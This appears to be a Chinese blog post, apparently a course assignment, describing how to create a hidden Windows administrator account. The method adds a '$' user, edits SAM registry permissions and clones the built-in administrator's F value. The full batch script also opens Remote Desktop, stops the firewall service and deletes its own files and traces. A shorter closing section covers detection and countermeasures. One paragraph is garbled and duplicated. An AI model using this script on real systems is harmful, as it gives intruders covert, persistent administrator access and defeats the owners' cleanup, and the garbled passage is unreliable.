Windows批处理创建、删除隐藏账户脚本
一、手动操作
- 新建一个用户
利用命令行直接输或者做成批处理程序具体内容如下:
@echo off
net user godyang$ 123456 /add
net localgroup administrators godyang$ /add
pause
运行结果如图:
可以看到通过net user 指令是无法看到新建的用户的。
但是通过控制面板和切换账户可以发现新建的账户,这并没有达到隐藏的要求。
所以接下来的工作就是将这两个地方账户显示隐藏。
- 修改注册表
点击"开始"→"运行",输入regedit,打开注册表编辑器
HKEY_LOCAL_MACHINE\SAM\SAM 进入这里,需要更改下权限,让当前账户有权限修改。
修改完成后重新进入注册表
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Name这里看到所有账户的名称。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 这里的字符串对应下面的账户名,只是他存储的是账户信息和权限。
首先将name中地godyang 导 出 , 再 去 查 看 a d m i n 与 新 建 账 户 的 字 符 串 值 。 并 把 它 导 出 来 。 如 图 分 别 是 0 X 1 F 4 , 0 X 3 E D , 分 别 为 a d m i n . r e g , u e s r . r e g 。 并 将 a d m i n 中 的 F 值 复 制 到 u s e r . r e g 中 , 做 这 一 步 的 原 因 是 完 成 管 理 员 信 息 的 克 隆 , 来 为 隐 藏 用 户 获 得 管 理 员 权 限 。 接 下 来 将 u s e r . r e g 与 g o d y a n g . r e g 导 入 , 就 完 成 了 隐 藏 用 户 的 创 建 。 这 是 控 制 面 板 已 经 找 不 到 账 户 g o d y a n g 导出,再去查看admin与新建账户的字符串值。并把它导出来。如图分别是0X1F4,0X3ED,分别为admin.reg,uesr.reg。并将admin中的F值复制到user.reg中,做这一步的原因是完成管理员信息的克隆,来为隐藏用户获得管理员权限。接下来将user.reg与godyang.reg导入,就完成了隐藏用户的创建。这是控制面板已经找不到账户godyang 导出,再去查看admin与新建账户的字符串值。并把它导出来。如图分别是0X1F4,0X3ED,分别为admin.reg,uesr.reg。并将admin中的F值复制到user.reg中,做这一步的原因是完成管理员信息的克隆,来为隐藏用户获得管理员权限。接下来将user.reg与godyang.reg导入,就完成了隐藏用户的创建。这是控制面板已经找不到账户godyang了。
通过net user指令也无法列出该账户
计算机管理-本机用户和组-用户也无法列出该账户
但可以通过以下指令可查看:
Net user godyang$
但是这中情况是相对安全的,因为用户又不知道我们叫啥。
还有一种查看的方法就是通过注册表,为了保证账不被管理员清理还需要对【HKEY_LOCAL_MACHINE\SAM\SAM】注册表项的权限取消。这样经验不足即使管理员发现了账户,也束手无策。
二、批处理文件
上述所述只是一种通过图形化界面进行隐藏用户创建的方法,这种方法耗费的时间太多,我们需要的是一种快速的工具,所以我们接下来用批处理程序来完成上述对账户隐藏的操作。结合批处理语句,以及上述步骤,我们可以编写如下批处理程序。只要问题发生在F下值的覆盖上,由于能力有限,实在没能找到能覆盖的方法。通过网上收集资料,找到了下面的解决方案,下面是源码(当然后面的注释要删):
net user godyang$ 123456
net localgroup administrators godyang$ /add
reg export HKEY\_LOCAL\_MACHINE\SAM\SAM\Domains\Account\Users
c:\1.reg
net user admin$ del
reg import c:\1.reg
del c:\1.reg
del 1.bat
但是这种简单的方法是有缺陷的,就是没有管理员没有注册表的权限,可能会被拒绝服务,所以下一步应该是通过配置文件给权限。除此之外还应该擦除痕迹。
修改方案如下:
net user godyang$ 123456 /add
net localgroup administrators godyang$ /add
Echo HKEY_LOCAL_MACHINE\SAM [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1] >>c:/tem.ini
regini c:/tem.ini
reg copy HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EE /s
regedit /e c:\1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /F
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0
net user godyang$ /del
regedit /s c:\1.reg
del c:\tem.ini
del c:\1.reg
net stop sharedaccess
del 1.bat
【代码分析】:
前两句代码进行创建账户、提权的操作
而其后大量的Echo操作则是进行配置文件的形成,以获取对注册表的控制权限。
中间部分的reg的及用户删除操作,基本与手动操作保持一致,主要是进行管理员权限的复制
剩余的部分则是痕迹的擦除,是对过程中创建的文件进行删除。
上图可以表明用户已创建
上述脚本与前面操作基本一致,比起手动操作速度更快,而且能够完成一些消除痕迹的操作,安全系数大大提高,基本能够完成作业要求。
【一点拓展】:
题目还要求要远程登录,那就顺便开个远程桌面的服务,代码如下:
只需将一下代码加在消除痕迹代码的前面,即可完成远程桌面的开启。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
(fDenyTSConnections没开远程桌面的值是1,开是0)
【具体过程】
通过以上代码,可以完成防火墙关闭,开启远程桌面登录,修改用户权限,隐藏账户等一系列功能,以下是功能演示。
-
点击1.bat文件
-
输入y与n值粘贴管理员的‘F’部分。
-
运行完成后自动删除自身并关闭防火墙。
-
进行远程登录连接。在客户机打开cmd输入mstsc,并输入内部的ip或者主机名即可完成控制。
登陆成功。
【防护措施】:
1、添加符号型隐藏账户
对于这类隐藏账户的检测比较简单。一般黑客在利用这种方法建立完隐藏账户后,会把隐藏账户提升为管理员权限。那么我们只需要在"命令提示符"中输入"net localgroup administrators"就可以让所有的隐藏账户现形。如果嫌麻烦,可以直接打开"计算机管理"进行查看,添加"$"符号的账户是无法在这里隐藏的。
2、修改注册表型隐藏账户
由于使用这种方法隐藏的账户是不会在"命令提示符"和"计算机管理"中看到的,因此可以到注册表中删除隐藏账户。来到"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names",把这里存在的账户和"计算机管理"中存在的账户进行比较,多出来的账户就是隐藏账户了。想要删除它也很简单,直接删除以隐藏账户命名的项即可。
3、无法看到名称的隐藏账户
如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助"组策略"的帮助,让黑客无法通过隐藏账户登陆。点击"开始"→"运行",输入"gpedit.msc"运行"组策略",依次展开"计算机配置"→"Windows 设置"→"安全设置"→"本地策略"→"审核策略",双击右边的"审核策略更改",在弹出的设置窗口中勾选"成功",然后点"确定"。对"审核登陆事件"和"审核过程追踪"进行相同的设置。
4、开启登陆事件审核功能
进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过"计算机管理"中的"事件查看器"准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。
5.通过事件查看器找到隐藏帐户
得知隐藏账户的名称后就好办了,但是我们仍然不能删除这个隐藏账户,因为我们没有权限。但是我们可以在"命令提示符"中输入"net user 隐藏账户名称 654321"更改这个隐藏账户的密码。这样这个隐藏账户就会失效,黑客无法再用这个隐藏账户登陆。
【资料链接】:
https://www.jb51.net/article/30078.htm
https://blog.csdn.net/lql971203/article/details/84451028
https://blog.csdn.net/qq_39783194/article/details/113953591
https://www.jb51.net/article/19249.htm
https://blog.csdn.net/abcd51685168/article/details/41854981?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-7.control&dist_request_id=ac5fac8a-307d-43ef-a93f-495cb97a14af&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-7.control